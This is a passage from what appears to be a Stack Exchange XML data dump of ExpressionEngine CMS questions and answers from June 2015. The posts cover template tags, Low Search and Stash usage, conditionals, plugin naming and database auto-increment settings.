write an add-on to edit the SVG external file and injecting the dynamic text before loading. Including all options here, however far out!&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;EE template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;EE template before&#xA;&#xA;&amp;lt;svg  version=&quot;1.1&quot; id=&quot;whatever&quot; class=&quot;logo&quot; xmlns=&quot;http://www.w3.org/2000/svg&quot; xmlns:xlink=&quot;http://www.w3.org/1999/xlink&quot; x=&quot;0px&quot; y=&quot;0px&quot;&#xA;width=&quot;612px&quot; height=&quot;502.174px&quot; viewBox=&quot;0 65.326 612 502.174&quot; enable-background=&quot;new 0 65.326 612 502.174&quot; xml:space=&quot;preserve&quot;&amp;gt;&#xA;&#xA;  &amp;lt;your logo or shapes here&amp;gt;&#xA;  {ee_text_here}&#xA;&#xA;&amp;lt;/svg&amp;gt;&#xA;&#xA;EE template after&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See SVG example &lt;a href=&quot;https://css-tricks.com/using-svg/&quot; rel=&quot;nofollow&quot;&gt;code here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="425" LastEditDate="2015-06-16T11:30:01.533" LastActivityDate="2015-06-16T11:30:01.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31962" PostTypeId="2" ParentId="31957" CreationDate="2015-06-16T12:35:57.190" Score="1" Body="&lt;p&gt;Check the value of &lt;code&gt;$config['cp_url']&lt;/code&gt;, under &lt;strong&gt;Admin → System Administration → Config File Editor&lt;/strong&gt;. I would guess that you have &lt;code&gt;http://example.com/admin&lt;/code&gt; in there.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-06-16T12:35:57.190" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31963" PostTypeId="2" ParentId="31934" CreationDate="2015-06-16T13:01:15.053" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://devot-ee.com/add-ons/superfish-ee-control-panel&quot; rel=&quot;nofollow&quot;&gt;Superfish EE Control Panel&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Might need tweaking to change events to click instead of hoverIntent and possibly this is only the top level menus not the sub-menu blow-outs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or at the very least you'll know how to inject your own JS into the CPanel interface and write your own for your needs.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2015-06-16T13:01:15.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31965" PostTypeId="1" CreationDate="2015-06-16T17:42:39.513" Score="0" ViewCount="70" Body="&lt;p&gt;Working on a plugin integrating with the Active Campaign API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I have is a folder inside third_party containing pi.ActiveCampaign.php with a lib folder containing the API. The class describing the plugin is &quot;Active_Campaign&quot; and the function I want to use with it is &quot;insert_contacts.&quot; The plugin appears in the add-ons section just fine, with all my documentation, but when I try to use it in a template:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/a1qf6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears to not be detecting it. I've tried just using &quot;exp:insert_contacts&quot; as well, same result. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the PHP file, as it is now, if needed (bitbucket repo): https: &lt;a href=&quot;https://goo.gl/Shm4JN&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://goo.gl/Shm4JN&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And for reference, here's the doc I'm following: &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/plugins.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ellislab.com/expressionengine/user-guide/development/plugins.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;jic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice?&lt;/p&gt;&#xA;" OwnerUserId="6399" LastActivityDate="2016-05-24T22:55:20.730" Title="Template Not Detecting Plugin Class?" Tags="|templates|php|plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31966" PostTypeId="1" AcceptedAnswerId="31969" CreationDate="2015-06-16T17:56:32.730" Score="1" ViewCount="144" Body="&lt;p&gt;I know it's possible to sort Low Search results by a Low Reorder set (&lt;a href=&quot;http://gotolow.com/addons/low-reorder/changelog&quot; rel=&quot;nofollow&quot;&gt;http://gotolow.com/addons/low-reorder/changelog&lt;/a&gt;), but for the life of me I cannot figure out how to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a Low Reorder set named &quot;lr_locations&quot;. This is my results tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search_results default:orderby_sort=&quot;lr_locations|asc&quot; ...}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this the correct way to do this? I cannot find the documentation that speaks to this.&lt;/p&gt;&#xA;" OwnerUserId="2934" LastActivityDate="2015-06-16T18:58:38.947" Title="How to order Low Search results by Low Reorder Set?" Tags="|low-search|low-reorder|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31967" PostTypeId="1" AcceptedAnswerId="31968" CreationDate="2015-06-16T18:08:22.357" Score="1" ViewCount="91" Body="&lt;p&gt;I have a low search filter set up which works great however the client now wants to separate the results by country of origin. This should be possible as the country is set by another custom field. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see this working with Stash, but cannot seem to wrap my head around how to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Working code with all results sorted by title:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:form query=&quot;{segment_3}&quot; result_page=&quot;{transcribe:language_abbreviation}/branch-locator/filter&quot; form_id=&quot;region-filter&quot; form_onchange='submit()'}&#xA;  &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;    &amp;lt;select class=&quot;form-control&quot; name=&quot;child:pl_branch_region&quot;&amp;gt;&#xA;      {exp:channel:entries&#xA;        channel=&quot;regions&quot;&#xA;        dynamic=&quot;no&quot;&#xA;        orderby=&quot;title&quot;&#xA;        sort=&quot;asc&quot;&#xA;        disable=&quot;categories|member_data|pagination|custom_fields&quot;&#xA;      }&#xA;      {if count==&quot;1&quot;}&amp;lt;option value=&quot;&quot;&amp;gt;All ({total_results})&amp;lt;/option&amp;gt;{/if}&#xA;  &amp;lt;option value=&quot;{entry_id}&quot;{if low_search_child:pl_branch_region == entry_id} selected{/if}&amp;gt;&#xA;        {title}&#xA;    &amp;lt;/option&amp;gt;&#xA;      {/exp:channel:entries}&#xA;    &amp;lt;/select&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;{/exp:low_search:form} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I need to do is separate the results into country which is another field {reg_country} with value of either &quot;can&quot; or &quot;usa&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally the option list would be output like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Canada&#xA; Alberta&#xA; British Columbia&#xA; Manitoba&#xA; etc....&#xA;USA&#xA; Conneticut&#xA; Maine&#xA; et..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;currently all results are listed alphabetically but not sorted by country.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2015-06-16T18:37:30.497" Title="Orderby title and organize by another custom field" Tags="|stash|low-search|template-scripting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31968" PostTypeId="2" ParentId="31967" CreationDate="2015-06-16T18:37:30.497" Score="2" Body="&lt;p&gt;You can do this with a Stash list nested inside itself, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;regions&quot; parse=&quot;yes&quot;}&#xA;    {exp:channel:entries&#xA;        channel=&quot;regions&quot;&#xA;        dynamic=&quot;no&quot;&#xA;        orderby=&quot;title&quot;&#xA;        sort=&quot;asc&quot;&#xA;        disable=&quot;categories|member_data|pagination&quot;&#xA;    }&#xA;        {stash:entry_id}{entry_id}{/stash:entry_id}&#xA;        {stash:title}{title}{/stash:title}&#xA;        {stash:reg_country}{reg_country}{/stash:reg_country}&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&#xA;{exp:stash:get_list name=&quot;regions&quot; unique=&quot;reg_country&quot;}&#xA;    &amp;lt;optgroup label=&quot;{reg_country}&quot;&amp;gt;    &#xA;        {exp:stash:get_list:nested name=&quot;regions&quot; prefix=&quot;nested&quot; match=&quot;#^{reg_country}$#&quot; against=&quot;reg_country&quot;}&#xA;            &amp;lt;option value=&quot;{nested:entry_id}&quot;{if low_search_child:pl_branch_region == nested:entry_id} selected{/if}&amp;gt;&#xA;                {nested:title}&#xA;            &amp;lt;/option&amp;gt;&#xA;        {/exp:stash:get_list:nested}&#xA;    &amp;lt;/optgroup&amp;gt;&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="289" LastActivityDate="2015-06-16T18:37:30.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31969" PostTypeId="2" ParentId="31966" CreationDate="2015-06-16T18:58:38.947" Score="2" Body="&lt;p&gt;Try using &lt;code&gt;orderby=&quot;low_reorder:lr_locations&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-06-16T18:58:38.947" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31970" PostTypeId="2" ParentId="31965" CreationDate="2015-06-16T19:03:00.980" Score="0" Body="&lt;p&gt;FOUND IT!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I feel stupid. It was a case sensitivity issue with the file name. It was pi.ActiveCampaign.php but needed to be pi.active_campaign.php.&lt;/p&gt;&#xA;" OwnerUserId="6399" LastActivityDate="2015-06-16T19:03:00.980" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31972" PostTypeId="1" CreationDate="2015-06-16T19:28:45.637" Score="0" ViewCount="49" Body="&lt;p&gt;Is there a way to switch the parent page with one of the child pages? I would like to avoid creating a new page for each child page under the new parent page.&lt;/p&gt;&#xA;" OwnerUserId="6334" LastActivityDate="2016-06-02T23:32:32.023" Title="Switch Parent Page and Child Page" Tags="|structure|parent|child|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31973" PostTypeId="2" ParentId="31944" CreationDate="2015-06-16T19:35:32.480" Score="1" Body="&lt;p&gt;For security reasons, we have limited the Key Invite feature to Super Admin's only. If you wanted to adjust this on your own, you would have to modify the code in &lt;strong&gt;mod.user.php&lt;/strong&gt; around &lt;strong&gt;line 9310&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/** ----------------------------------------&#xA;/** Is the current user logged in?&#xA;//  are they an admin? must be admin&#xA;/** ----------------------------------------*/&#xA;&#xA; if ( ee()-&amp;gt;session-&amp;gt;userdata('member_id') == 0 OR ee()-&amp;gt;session-&amp;gt;userdata('group_id') != 1)&#xA; {&#xA; return $this-&amp;gt;_output_error('general', array(lang('not_authorized')));&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-06-16T19:35:32.480" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31975" PostTypeId="1" CreationDate="2015-06-16T20:46:18.957" Score="0" ViewCount="37" Body="&lt;p&gt;I am trying to check if a variable exists, and render it only if it does.  Using the code below, the &quot;{if facebook_content...&quot; etc renders to the screen, curley braces and all, rather than actually checking for this conditional.  Its like it doesn't get processed at all.  Why is this happening and how can I actually do this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:stash:get_list name=&quot;st_facebook_feed_list&quot; parse_tags=&quot;yes&quot; process=&quot;end&quot;}&#xA;                &amp;lt;a target=&quot;_blank&quot; href=&quot;{facebook_url}&quot;&amp;gt;&#xA;                    &amp;lt;span class=&quot;feed-text&quot;&amp;gt;&#xA;                        {if facebook_content != ''}&#xA;                            {facebook_content}&#xA;                        {/if}&#xA;                    &amp;lt;/span&amp;gt;&#xA;                &amp;lt;/a&amp;gt;&#xA;    {/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6401" LastEditorUserId="6401" LastEditDate="2015-06-16T22:33:12.117" LastActivityDate="2015-11-15T16:04:57.643" Title="If statement is rendering to screen" Tags="|templates|template-scripting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31977" PostTypeId="1" AcceptedAnswerId="31981" CreationDate="2015-06-16T22:45:21.570" Score="2" ViewCount="362" Body="&lt;p&gt;I'm using Low Search on my site and it's not displaying all results. I've rebuilt the index and lexicon. I'm testing this with one product. If I go to the products page I see product but if I try and search for it, no result for the title. Here is the code for the results page. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results&#xA;                    query=&quot;{segment_3}&quot;&#xA;                    channel=&quot;products&quot;&#xA;                    limit=&quot;15&quot;&#xA;                    name=&quot;range:tags&quot;&#xA;                    dynamic=&quot;off&quot; &#xA;                    orderby=&quot;release_date&quot; &#xA;                    sort=&quot;desc&quot;&#xA;                }&#xA;&#xA;                  {if count == 1}&#xA;                    &amp;lt;p&amp;gt;&#xA;                    Searched for &amp;lt;strong&amp;gt;{low_search_keywords}&amp;lt;/strong&amp;gt;.&#xA;                    Search results: &amp;lt;strong&amp;gt;{absolute_results}&amp;lt;/strong&amp;gt;&#xA;                    &amp;lt;/p&amp;gt;&#xA;            {/if}&#xA;&#xA;                {if count==1}&amp;lt;ul class=&quot;thumbnails&quot;&amp;gt;{/if}&#xA;                    {switch=&quot;&amp;lt;div class='row'&amp;gt;||&quot;}&#xA;                    &amp;lt;li class=&quot;span3&quot;&amp;gt;                      &#xA;&#xA;                &amp;lt;div class=&quot;thumbnail&quot;&amp;gt;&#xA;                    {if product_thumbnail}&#xA;                            &amp;lt;a class='' href=&quot;{entry_id_path='{template_group}/product_detail'}&quot;&amp;gt;&amp;lt;img src=&quot;{product_thumbnail}&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;                    {if:else}&#xA;                    &amp;lt;a class='' href=&quot;{entry_id_path='{template_group}/product_detail'}&quot;&amp;gt;&amp;lt;img src=&quot;http://placehold.it/300x200&quot; alt=&quot;&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;                    {/if}&#xA;                    &amp;lt;div class=&quot;caption&quot;&amp;gt;&#xA;                        &amp;lt;h4&amp;gt;{title}&amp;lt;/h4&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;                {switch=&quot;||&amp;lt;/div&amp;gt;&quot;}&#xA;                    {if count==total_results}&amp;lt;/ul&amp;gt;&amp;lt;!-- end row --&amp;gt;{/if}&#xA;                    {paginate}&#xA;                        &amp;lt;p&amp;gt;Page {current_page} of {total_pages} pages {pagination_links}&amp;lt;/p&amp;gt;&#xA;&#xA;&#xA;                     {if previous_page}&#xA;        &amp;lt;a href=&quot;{auto_path}&quot;&amp;gt;Previous Page&amp;lt;/a&amp;gt; &amp;amp;nbsp;&#xA;    {/if}&#xA;    {if next_page}&#xA;        &amp;lt;a href=&quot;{auto_path}&quot;&amp;gt;Next Page&amp;lt;/a&amp;gt;&#xA;    {/if}&#xA;                    {/paginate}&#xA;&#xA;                    {if no_results}&#xA;                        &amp;lt;p&amp;gt;Sorry, nothing found.&amp;lt;/p&amp;gt;&#xA;                    {/if}&#xA;                {/exp:low_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea what I'm doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="973" LastActivityDate="2015-06-17T09:14:22.180" Title="Low Search not displaying all results" Tags="|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31978" PostTypeId="1" AcceptedAnswerId="31979" CreationDate="2015-06-17T00:46:07.197" Score="0" ViewCount="41" Body="&lt;p&gt;I have an events listings. Events are by “start_date”. When I have no events I want to display “NO EVENTS SCHEDULED” When I have events I want to remove the NO EVENTS SCHEDULED. I can’t seem to get the conditionals right. Need help, can not seem to get my head around it. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=“Events” sort=&quot;asc&quot; orderby=&quot;start_date&quot;}&#xA;{if star_date == &quot;&quot;} &amp;lt;h1&amp;gt;No Events Scheduled&amp;lt;/h1&amp;gt;{/if}&#xA;{if start_date} &amp;lt;h4&amp;gt;&amp;lt;strong&amp;gt;{title}&amp;lt;/strong&amp;gt;&amp;lt;/h4&amp;gt;{/if}&#xA;&#xA;{start_date format=&quot;%l, %F %j, %Y; %g:%i %a&quot;}&amp;lt;/&amp;gt;&amp;lt;br&amp;gt;&#xA;{rentals_main_copy}&#xA;{if start_date} &amp;lt;span&amp;gt;New Vic, 33 W. Victoria Street, Santa Barbara, CA, 93101 (&amp;lt;a href=&quot;/visit/location&quot;&amp;gt;map&amp;lt;/a&amp;gt;)&amp;lt;/span&amp;gt; {/if}&#xA;{if start_date}&amp;lt;hr class=&quot;bottom-2&quot;&amp;gt;{/if}&#xA;&#xA; {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1330" LastEditorUserId="1330" LastEditDate="2015-06-17T05:02:39.853" LastActivityDate="2015-06-17T06:30:12.327" Title="Conditional Not Working" Tags="|conditionals|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31979" PostTypeId="2" ParentId="31978" CreationDate="2015-06-17T06:30:12.327" Score="2" Body="&lt;p&gt;You could use the search &amp;amp; no_results tag like this and do away with the multiple &lt;code&gt;{if}&lt;/code&gt; statements:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;Events&quot; sort=&quot;asc&quot; orderby=&quot;start_date&quot; search:start_date=&quot;not IS_EMPTY&quot; }&#xA;  {if no_results} &amp;lt;h1&amp;gt;No Events Scheduled&amp;lt;/h1&amp;gt;{/if}&#xA;  &amp;lt;h4&amp;gt;&amp;lt;strong&amp;gt;{title}&amp;lt;/strong&amp;gt;&amp;lt;/h4&amp;gt;{/if}&#xA;&#xA;  {start_date format=&quot;%l, %F %j, %Y; %g:%i %a&quot;}&amp;lt;/&amp;gt;&amp;lt;br&amp;gt;&#xA;  {rentals_main_copy}&#xA;  &amp;lt;span&amp;gt;New Vic, 33 W. Victoria Street, Santa Barbara, CA, 93101 (&amp;lt;a href=&quot;/visit/location&quot;&amp;gt;map&amp;lt;/a&amp;gt;)&amp;lt;/span&amp;gt;&#xA;  &amp;lt;hr class=&quot;bottom-2&quot;&amp;gt;&#xA;&#xA; {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="166" LastActivityDate="2015-06-17T06:30:12.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31980" PostTypeId="1" AcceptedAnswerId="31983" CreationDate="2015-06-17T07:36:25.063" Score="0" ViewCount="73" Body="&lt;p&gt;Hoping this is possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to set my entry_id and member_id numbers higher.  Meaning when the next entry is entered or a member joins it goes to the new higher # I set.  Right now my entry ID is at 271, I would like to put that at 1001 for the next entry ID entered.  Also do the same for members, not so high but at least 100. I tried (ALTER TABLE exp_channel_data AUTO_INCREMENT = 1001) but if simply kept the next number in line 272.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So can it be done, right now I have no members, I am just testing, I have a complete backup of everything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it safe, is it possible without sending EE into a crash? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2795" LastActivityDate="2015-06-17T13:54:54.467" Title="Set Entry ID &amp; Member ID's higher" Tags="|database|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31981" PostTypeId="2" ParentId="31977" CreationDate="2015-06-17T09:14:22.180" Score="5" Body="&lt;p&gt;If Low Search is giving no or not all results, check the following things:&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Native default parameter values negating search results&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The Results tag extends the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html&quot;&gt;native channel:entries tag&lt;/a&gt;, so default filtering is in place:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;status&lt;/code&gt; will be limited to &lt;code&gt;open&lt;/code&gt; only;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;show_future_entries&lt;/code&gt; will be set to &lt;code&gt;no&lt;/code&gt;;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;show_expired&lt;/code&gt; will be set to &lt;code&gt;no&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In 9 out of 10 cases, the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#status&quot;&gt;status&lt;/a&gt; is not explicitly given, so only open entries are shown.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Searchable fields are not weighted&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;For &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/filters#keywords&quot;&gt;Keyword&lt;/a&gt; searches, the keywords must be present in the index. For words to be present in the index, the fields must have &lt;strong&gt;weight of at least 1&lt;/strong&gt;. In order to give fields weight, create a &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/collections#weight&quot;&gt;collection&lt;/a&gt; for it. In order for a field to show up in the collection details, it must be marked as Searchable in the field settings.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Very small amount of data in the index&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The way keyword searches work (or to be more precise, MySQL full-text searches), means keywords shouldn't be &quot;common&quot;. They are considered common if they appear in more than half of the index. Usually, this isn't a problem at all. However, when you're just setting up a site, and you have very few entries indexed with the same keywords, it's possible those keywords are considered common by MySQL, and will therefore not match a search query. Having more data/entries will solve the problem.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Other trouble shooting tips&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Low Search uses the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/cp/admin/output_and_debugging_preferences.html#display-template-debugging&quot;&gt;Template Debugger&lt;/a&gt; extensively. If you're getting unexpected results, turn it on, and look up any lines that mention Low Search or low_search. That should give you some more insight as to what is going on.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-06-17T09:14:22.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31982" PostTypeId="2" ParentId="31947" CreationDate="2015-06-17T09:38:52.773" Score="2" Body="&lt;p&gt;As per &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_form/#categories&quot; rel=&quot;nofollow&quot;&gt;the docs for the Channel Form&lt;/a&gt; custom fields are not loaded. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You mention the solution though, we can wrap the bit where you need the custom field in an &lt;code&gt;exp:channel:categories&lt;/code&gt; tag so you can load the custom tags. We do it this way so we can preserve the &lt;code&gt;selected&lt;/code&gt; tags too&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{categories show_group=&quot;5&quot; parse=&quot;inward&quot;}&#xA;  &amp;lt;option value=&quot;{category_id}&quot; {selected}&amp;gt;&#xA;      {exp:channel:categories channel=&quot;1&quot; style=&quot;linear&quot; show=&quot;{category_id}&quot;}&#xA;        {category_custom_field}&#xA;      {/exp:channel:categories}&#xA;  &amp;lt;/option&amp;gt;&#xA;{/categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;You don't quote what channel the entry form is for so I use 1 in the example above.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-06-17T09:38:52.773" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31983" PostTypeId="2" ParentId="31980" CreationDate="2015-06-17T09:44:36.437" Score="3" Body="&lt;p&gt;It is possible, and I think it's safe but as you are doing make sure you backup test and roll back if you get unextpected results. (&lt;a href=&quot;https://www.youtube.com/watch?v=kzw1_2b-I7A&quot; rel=&quot;nofollow&quot;&gt;Is it safe???&lt;/a&gt; lol)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You where almost rigth with what you did before, however &lt;code&gt;exp_channel_data&lt;/code&gt; is not the indexed table for channel data, you want &lt;code&gt;exp_channel_titles&lt;/code&gt;, these are your 2 queries : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ALTER TABLE `exp_channel_titles` AUTO_INCREMENT = 1001&#xA;&#xA;ALTER TABLE `exp_members` AUTO_INCREMENT = 101&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I did a quick test on my local sandbox and it seemed to work.&lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="1100" LastEditDate="2015-06-17T13:54:54.467" LastActivityDate="2015-06-17T13:54:54.467" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31984" PostTypeId="2" ParentId="31975" CreationDate="2015-06-17T16:27:30.187" Score="1" Body="&lt;p&gt;I beleive you can get some info from this ist : &lt;a href=&quot;https://gist.github.com/croxton/9d012297096892ca5c10&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/croxton/9d012297096892ca5c10&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The premise is the insides of the stash tag is parsed at the stage the module tags are parse, whereas conditionals are passed before (simple) and after (advanced). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you tried messing about with &lt;a href=&quot;https://github.com/croxton/Stash/wiki/%7Bexp:stash:parse%7D&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;{exp:stash:parse}&lt;/code&gt;&lt;/a&gt; inside the &lt;code&gt;get_list&lt;/code&gt; tag pair? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, what are your results when you call &lt;code&gt;get_list&lt;/code&gt; without the &lt;code&gt;process=&quot;end&quot;&lt;/code&gt; parameter? I believe this may move the parsing of the inard of your tag to after all the conditional steps, ergo no evaluation. Of course you don't show us where you set the list so I couldn't debug the parse order any further.&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-06-17T16:27:30.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31986" PostTypeId="1" CreationDate="2015-06-17T20:56:03.963" Score="0" ViewCount="98" Body="&lt;p&gt;I'm trying to make a &quot;previous&quot; button link dependent on a couple of conditions: 1) if there's a previous image, it links to that; 2) if there is no previous image, it goes to the main portfolio page. Here's my basic code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{image:paginate}&#xA;        {if image:previous_page}&amp;lt;a href=&quot;{image:auto_path}&quot;&amp;gt;&#xA;        {if:else}&amp;lt;a href=&quot;{site_url}portfolio&quot;&amp;gt;{/if}&#xA;            &amp;lt;img src=&quot;{site_url}images/arrow-back.png&quot; alt=&quot;previous&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;{/image:paginate}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when I try this, I get an error code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Parse error: syntax error, unexpected T_ELSE....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on either what's wrong or how to do this properly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance....&lt;/p&gt;&#xA;" OwnerUserId="2218" LastEditorUserId="2218" LastEditDate="2015-06-17T21:22:58.353" LastActivityDate="2016-06-19T18:03:00.763" Title="using &quot;if else&quot; conditionals with Channel Images" Tags="|devdemon|channel-images|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31987" PostTypeId="2" ParentId="31986" CreationDate="2015-06-17T22:33:59.327" Score="0" Body="&lt;p&gt;I think I see what the problem is now. I looked more closely at the documentation, and for the &lt;code&gt;{image:previous_page}&lt;/code&gt; tag it says&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This tag will conditionally display the code inside the tag if there is a “previous” page. If there is no previous page then the content simply will not be displayed. (In the {image:paginate} tag pair)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So I think since there is no &quot;previous&quot; page, then the &lt;code&gt;{if:else}&lt;/code&gt; part is not displayed (at least this is my theory). So what I've done to make this work is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{image:paginate}&#xA;    {if image:previous_page}&amp;lt;a href=&quot;{image:auto_path}&quot;&amp;gt;{/if}&#xA;    {if {image:current_page} == 1}&amp;lt;a href=&quot;{site_url}portfolio&quot;&amp;gt;{/if}&#xA;        &amp;lt;img src=&quot;{site_url}images/arrow-back.png&quot; 